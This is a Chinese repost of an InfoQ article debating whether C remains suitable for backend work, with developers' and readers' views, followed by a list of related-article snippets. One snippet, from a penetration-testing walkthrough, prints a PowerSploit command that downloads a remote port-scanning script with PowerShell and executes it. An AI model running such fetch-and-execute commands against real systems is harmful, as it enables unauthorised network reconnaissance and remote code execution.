今时今日,C还适合当下之所需么?

本文来源于我在InfoQ中文站翻译的文章,原文地址是:http://www.infoq.com/cn/news/2013/01/C-Language


来自Couchbase的Damien Katz认为C依然是非常适合于后端编程的一门语言,然而有的开发者则觉得C有太多的瑕疵,他们支持C++或是Java,还有一些人连这两种语言也不喜欢。

在最近一篇题为The Unreasonable Effectiveness of C的博文中,CouchDB的创建者Damien Katz表示C依然是非常适合于后端编程的一门语言,虽然现在已经有了很多更加现代化的语言,如C++、Java、甚至是Erlang或是Ruby,但他还是非常支持C语言。Katz并不是认为C就是比其他任何语言都要好,但在“重点考虑性能与可靠性等场景下,C是很难被打败的”——这段话援引自Damien Katz随后的一个帖子,旨在澄清自己的立场。

虽然一开始使用Erlang编写了CouchDB的很多代码,但在花费了“2+个人月来处理Erlang VM中的一个崩溃问题”之后,Katz感到非常不爽。

我们浪费了大量时间追踪核心Erlang实现中的一些问题,不敢保证发生什么以及原因,我们觉得也许问题出现在我们自己的插件C代码中,希望我们自己能够发现并修复问题。但事实并非如此,这是核心Erlang中的一个竞态条件Bug。我们只能通过Erlang的代码查看器来找到这一问题。对于那些对计算机进行了过多抽象的编程语言来说,这是个很基本的问题。

出于这一点以及性能因素,Katz决定逐步重写,“将Couchbase的代码换成C,并将其作为大多数新特性的首选实现语言”。有趣的是,C证明了“当我们遇到问题、调试与修复问题时,C更具备可预测性。长远来看,C的生产力更高”。

Katz列出了对于后端来说,C要优于更高层次语言如C++、Java等的若干原因:

  • 表现力——“C的语法与语义非常强大且具有极强的表现力。凭借C,我们既能预测高层算法,又能预测低层的硬件。它的语义非常简单,语法足够强大,能够极大降低认知上的负担,让程序员专注在重要的事情上”。
  • 简单——“C是一种弱、静态类型语言,其类型系统非常简单。我们所说的弱最后会变成一个优点:C APIs的“表面”是非常简单且小巧的。相对于大多数框架来说,C的一个明显趋势与文化就是创建小型的库,对简单类型进行轻量级的抽象”。
  • 速度与内存使用——“C是速度最快的语言,无论是部分还是完整的基准都表明了这一点。它不仅仅运行时是最快的,其内存使用与启动时间也是效率最高的。如果需要在空间与时间上进行折衷,那么C并不会对你隐藏任何细节信息,我们可以很容易地做出估计”。
  • 更快的开发周期——“对于开发者效率与生产力来说最为重要的就是‘构建、运行与调试’周期。周期越快,开发的交互性就越好,你就更容易处在任务的流态上。相对于所有主流的静态语言来说,C拥有最为快速的开发交互性”。
  • 调试——"对于纯C代码来说,你可以查看调用堆栈、变量、参数、线程局部变量、全局变量,基本上可以查看到内存中的一切。这是非常有用的,特别是当你遇到了问题,这个问题在运行的服务器进程中出现了多日,并且无法重现的情况下更是如此。如果在更为高层的语言中失去了这个上下文,那么你就等着痛苦去吧"。
  • 跨平台——“有一个标准化的应用二进制接口(ABI),可为现有的所有操作系统、语言与平台所支持。它无需运行时,也不需要其他额外内容。这意味着你使用C所编写的代码并非仅仅可由C代码中的调用者所调用,还可以由现有的所有库、语言与环境所调用”。

Katz也认为C有“很多瑕疵”:

没有范围检查,不小心就会导致内存出现问题、存在野指针与内存/资源泄露情况、对并发的附加支持、没有模块、没有命名空间。错误处理非常麻烦且冗长。很容易就会搞出一堆错误,调用堆栈也找不到了,恶意输入会控制你的进程。闭包?哈哈

Katz对C的强烈偏爱源自突破Couchbase性能极限的需求以及调试问题(问题是C插件与Erlang VM联合使用所导致的)。他并不认为C++、Go或是D能够替换C,但他认为Rust可能会成为“梦想之语言”,只要它能实现“类似于C的性能而且能够做到与Erlang安全的并发和内建的健壮性”。

Katz的帖子在Reddit与Hacker News上可谓是一石激起千层浪,有很多开发者谈到了C的优点,也有人建议其他语言。robinei加入到了字符串操作与错误检测激战当中:

我总想回到C(从C++等语言中),当我真的这么做了时,我发现不少地方通常都是很简单的,感觉真棒!

但接下来我需要进行字符串操作,或是这类笨拙的方法。

这时会出现很多分配操作,每一个都需要一个显式的free搞得我太痛苦了。我尝试通过arena allocators树来解决这个问题,就像Go中的slice-strings,但最终C还是缺乏一些语法工具(命名空间前缀函数),这导致结果变得非常笨拙(将一切都分配到arenas中也是非常痛苦的)。

我发现由于要进行显式的错误检测,源代码文件长度增加了一倍(这种情况不常发生,但在诸如sqlite等一些库中,任何操作都有可能失败)。

还有很多方面导致我精疲力竭,我觉得非常不满意。

综上所述,我从哪儿来的还是回哪儿去吧,通常是C++。

madhadron提出了“更加现实的C”:

C能够在PDP-11上很直接地编译成快速的机器码。

C的标准库就是个笑话。它的缺点,特别是字符串相关的处理,是过去40年众多安全漏洞的罪魁祸首。

C的工具根本不值得吹嘘,特别是与同辈的Smalltalk和Lisp相比。人们所使用的大多数C调试器都是命令行。根本没法和Squeak或是Allegro Common Lisp的标准调试器相比。

声明快速的C构建/调试/运行周期令人沮丧。表面上看起来很快,因为C++在这个领域是失败的。如果你想知道如何加快构建/调试/运行周期,那么请看看Turbo Pascal吧。

你可以通过标准ABI在所有Unix上调用C,虽然这么说没错,但原因却是因为C的普遍存在性而已。

geophile对上述内容持不同看法:

C/C++/Java,这是程序员视角的石头/剪刀/布。

多年以前,我从C开始,我发现自己用宏和库为声明与函数提供了很多很有用的组合。我发明了对象,同时也发现了C++。

长久以来,我一直是个快乐的C++用户,很早就开始了(还是cfront时代)。但我被语言的复杂性搞崩溃了,特别是特性之间微妙的交互,我厌倦了内存管理,渴望Java,而它又适时地出现了。

我很开心。在学习语言时,我肯定我漏掉了某些东西。每个对象都在堆中么?真是如此么?真的没有办法将一个对象在物理上嵌入到另一个对象中么?但其他一切都很棒,我不介意这一点。

现在我在编写一些系统,这些系统会占用很多内存,包含成千上万的对象,有些对象很小,有些则很大。每个对象的代价快要搞死我了。GC调优是个梦魇,我正在实现子分配模式。我编写了微基准,比较普通对象与序列化为字节数组的对象。由于C++已经变得太恐怖了,比令我焦头烂额的早期版本还要复杂,因此我又渴望C了。

现在的我不再喜欢任何语言了。

对于某些人来说,C看起来瑕疵太多,已经不适应现代的生产力要求了,但还有不少人依然能够很好地使用C,尽管它有很多怪癖。开发者社区还是应该避免语言之争,而是更好地权衡每一种语言,根据项目需求与自身技能选择最合适的语言。毕竟,没有一种语言是完美的。

此文在InfoQ英文站也引来了众多读者的讨论,下面摘取部分读者的评论供大家参考。

读者Mark Peskin说到:

嗯,我喜欢C。它很简单,没有C++那些庞大且有瑕疵的面向对象特性。然而,使用C编写大型、可扩展、模块化的企业应用需要大量规则,这些规则在大型的软件企业中几乎是无法维护的。我认为C的一个问题是它会引诱聪明的开发者编写高度优化的代码,充满了memcpy()与指针运算,以此“打败编译器”,这对于其他开发者来说几乎无法理解(如果不信,你去读读BSD内核代码吧)。

总的来说,如果有很多开发者在开发大型、复杂且长期的项目,那么我认为你最好使用Java(或是Scala等语言)。将C用在那些偶尔出现的场景中吧,这时你可能真的需要本地代码,使用基于消息的系统将二者集成起来(JNI不行)。C++?还是算了吧。

读者Josh Long说到:

回应Katz关于C的问题。

我同意Mark的观点,在某种程度上,也认可Damien的看法。

Damien提到的一点是我们很少在C中看到真正大型、全面的框架,比如APIs。如果构建小型、某个方面的API(通过一些typedefs/structs与函数作为“契约”),那么我们可以很轻松地将库“导出”并重用。我觉得这是C最适合之处。我从来不会因为性能问题而使用C,但使用C实现某些功能则是更为轻松的事情(内核编程、嵌入式编程、处理硬件、所依赖的APIs并未在更高层次的语言如Java、Ruby、Python等进行过抽象的功能)。

我还尽量不使用C编写具有完整功能的系统,只是因为它对于大型项目来说不具备“可伸缩性”。使用C编写的大型项目最终的结果都是重新编写了很多东西(比如说对象与命名空间等)。恕我直言,真的没有多少领域需要从头到尾都用C不可。当然了,一些例外是系统级组件,比如说操作系统(Linux)或是UI,如GNOME。但对于应用来说,使用更高层次的语言,在高层次语言与平台之间存在缝隙之处再使用低层次APIs进行集成是更容易的做法。Java存在很多这类“缝隙”,但随着APIs逐步成为很多不同操作系统上的常客后,在过去10年间,有些已经被逐步解决了:事件驱动的IO、文件系统通知、文件权限与元数据等等。

Mark为集成C库与模块提出了很好的解决方案。他认为JNI不行,建议使用消息。我是消息的忠实粉丝。本质来说,成功使用消息与成功使用JNI都需要同样的东西:你需要彻底简化导出API。

在使用JNI时,绝不要将任何复杂的C类型“泄漏”到我的Java API中,反之亦然,并且总是通过数值类型与char* -> jstrings进行通信。即便我所公开的本地代码是用C++编写的,我也依然会使用C风格的JNI(而不是C++),因为这种规范化有利于互操作。如果保持C API表面的简洁性,并且避免线程,那么通过Java JNI、CPython或是MRI Ruby等可以将其作为本地扩展。

一旦完成了这个过程,接下来通过消息公开C API就变得很简单了,因为根据定义,两个系统之间的消息负载不可能比C库还要复杂。当然了,如果使用消息,这意味着要么使用C编写消息代码,要么将C库公开到更高层的语言上,并在那里实现消息。消息好的一面是能够将高层语言代码与C代码进行隔离,这么做会比Java代码要薄一些。我依然不会直接将使用C APIs编写的代码链接到我的应用中。如果C代码挂掉了,那么消息系统就会接收请求,直到运行着C代码的另一个节点能够进行处理为止。另一方面,如果真的因为性能原因而使用C,那么消息至少会引入一个网络传输,更不必说系统中的另一个组件了,这么做就抵消了使用C编码所带来的优势了。在这种情况下,我们可以编写稳定、行为良好的JNI或是本地扩展,但还是需要保持表面的小巧,并且理解前置与后置条件才行。没有线程。不要在C与Java之间传递指向复杂对象的指针。请确保你自己清楚谁来负责清理内存,什么时候清理。

总而言之,忘掉C++吧。

读者Bernd Kolb说到:

或许你想要看看mbeddr(mbeddr.com)。

mbeddr旨在更好地支持嵌入式软件开发(但并不仅仅限于此),针对基于C语言与IDE的可扩展版本的小型与大型系统。现有扩展包括前置和后置的接口、组件、状态机与物理单元,以及对需求追踪和产品线变化的支持。基于这些抽象,mbeddr还支持基于模型检测与SMT处理的形式验证。

通过这种方式,在大型项目与团队中,C也可以做到“可伸缩”。此外,我们还可以引入现代的编程规则。通过扩展mbeddr,你甚至可以为消息等添加基础信息。

查看英文原文:Is C Still A Suitable Language Today?

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/449594.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

《吴军.科技史纲60讲》摘录

本文由Markdown语法编辑器编辑完成. 《科技史纲60讲》是吴军老师最新开设的专栏名称,该专栏主要是讲解人类文明和科技发展史。吴军老师在专栏的发刊词《历史总在重演,科技永远向前》中提到,能量和信息是贯穿人类文明发展的两条线索…

API Gateway——KONG简单入门

一、简介 前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到教程。 Kong,是由Mashape公司开源的,基于Nginx的API gateway。 二、特点 可扩展:支持分布式 模块化…

小程序 公众号/h5相互跳转-webview

小程序与h5的跳转 前提小程序管理后台配置域名白名单,并且h5页面是嵌在小程序里面(相互跳的前提条件) 在业务域名中设置好访问的h5地址 微信官方web-view 介绍地址 https://developers.weixin.qq.com/miniprogram/dev/component/web-view.ht…

十、eclipse快捷键大全

eclipse快捷键大全转载于:https://www.cnblogs.com/zheaven/p/10541531.html

如何保证代码的高质量?

代码的高质量是软件的灵魂,代码 数据结构 算法, 而高质量的代码 优良的变量、函数命名 优良的代码结构、代码层次结构 数据结构 算法。 时时刻刻想这上面的四点,你的代码就会渐渐的上新台阶,老板不给你加工资还…

centos6.5 安装 kong 网关

前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到教程。 最近要求了解下kong网关,然后在网上一顿找,说实话,度娘的力量还是不行啊,找出来的那些跟…

lucene学习的小结

pom.xml设置 <dependency><groupId>junit</groupId><artifactId>junit</artifactId><version>4.12</version><scope>test</scope></dependency><dependency><groupId>org.apache.lucene</groupId&…

并行计算的专访

摘要&#xff1a;社区之星第9期采访的嘉宾是香港浸会大学计算机在读博士、浪潮高性能计算顾问赵开勇。此次他为我们揭开了高性能计算的神秘面纱&#xff0c;为读者讲解自己的经验心得。并且他认为基于移动设备的高性能计算将会成为未来潮流&#xff0c;低功耗、高性能也将成为一…

CentOS6.5 搭建 LNMP (linux + nginx + mysql + php)

前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到教程。 1&#xff1a;查看环境&#xff1a; 12[root10-4-14-168 html]# cat /etc/redhat-releaseCentOS release 6.5 (Final)2&#xff1a;关掉…

正睿2019省选附加赛 Day10 (这篇其实已经都咕咕了...)

目录 2019.3.13A.算算算(二项式定理 斯特林数)B.买买买C.树树树2019.3.13比赛链接 A.算算算(二项式定理 斯特林数) 题目链接 \(x^k\)可以用二项式定理展开&#xff0c;需要维护的就是\(0\sim k\)次方的\(\sum_{j}F(j,i)\)。加入一个数时&#xff0c;每一项都要再用一遍二项式定…

freemarker 从 spring boot execute jar可执行jar中访问模板文件

2019独角兽企业重金招聘Python工程师标准>>> private static Configuration freemarkerCfg null;static {freemarkerCfg new Configuration();//freemarker的模板目录try {String pathPrefix "/";// 为了支持能从execute jar 中获取模板文件URI uri C…

获取所有股票数据

#%%#先引入后面可能用到的包&#xff08;package&#xff09; import pandas as pd import numpy as np import matplotlib.pyplot as plt import seaborn as sns sns.set() %matplotlib inline #正常显示画图时出现的中文和负号 from pylab import mpl mpl.rcParams[font.…

POWERSPLOIT-Recon(信息侦察)脚本渗透实战

Recon(信息侦察)模块 a) 调用invoke-Portscan扫描内网主机的端口。 1&#xff09;通过IEX下载并调用invoke-portscan。 PS C:\Users\Administrator> IEX(New-Object net.webclient).DownloadString("http://192.168.190.141/PowerSploit/Recon/Invoke -Portscan.ps1&qu…

股票代码前面为0,补齐6位数

df[code] df[code].apply(lambda x:str(x).zfill(6))

在CentOS 6上搭建LNMP环境

简介LNMP是Linux、Nginx、MySQL和PHP的缩写&#xff0c;这个组合是最常见的WEB服务器的运行环境之一。本文将带领大家在CentOS 6操作系统上搭建一套LNMP环境。 本教程适用于CentOS 6.x版本。 在安装LNMP环境之前&#xff0c;您需要先对CentOS操作系统做一些初始化的工作&#x…

前端技术周刊 2019-01-21:跨端开发的三条路线

2019-01-21 前端快爆 微软 Edge 开发者意图为 Chrome 实现 HTML Modules&#xff0c;该规范用来替代之前的 HTML Imports。其优点是基于 ES Modules&#xff0c;可以避免全局对象污染、脚本解析阻塞等问题。?点评&#xff1a;举报&#xff0c;有人在「秀恩爱」&#xff01; &l…

分配内存的方法,需要32位对齐

type 是char&#xff0c;short&#xff0c;int 。 #define DATA_ALIGN 1 #if DATA_ALIGN && WIN32 && (_MSC_VER > 1300) #define my_malloc(type,len) _aligned_malloc(sizeof(type) *(len), 32) #define my_free(ptr) _aligned_free(ptr) #e…

zabbix-02-CentOS7.4安装zabbix4.0

一、环境准备 1.1 主机规划 这里先对本次实验的机器做一个规划&#xff0c;之后的实验均通过这两台机器完成。 序号IP地址主机名CPU内存硬盘安装服务110.0.0.11zabbix-server1C2G20GBzabbix服务端210.0.0.12zabbix-agent1C1G20GBzabbix客户端1.2 操作系统选择 操作系统选择&…

再谈并发

再谈并发 上一篇python并发中讲到了&#xff0c;使用多进程&#xff0c;多线程&#xff0c;多任务来加快程序的运行。其中讲到的一点似乎有点问题&#xff0c;操作系统中线程是调度器的最小执行单位&#xff0c;那为何python中的多线程无法利用多核&#xff0c;只能在一个处理器…

centos6.8安装docker,kong-dashboard并实现页面访问

前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到教程。 我们通过kong-dashboard的admin-UI管理界面进行直观的查看。最终显示界面如图&#xff1a; 因为这个kong-dashboard要用到docker&#x…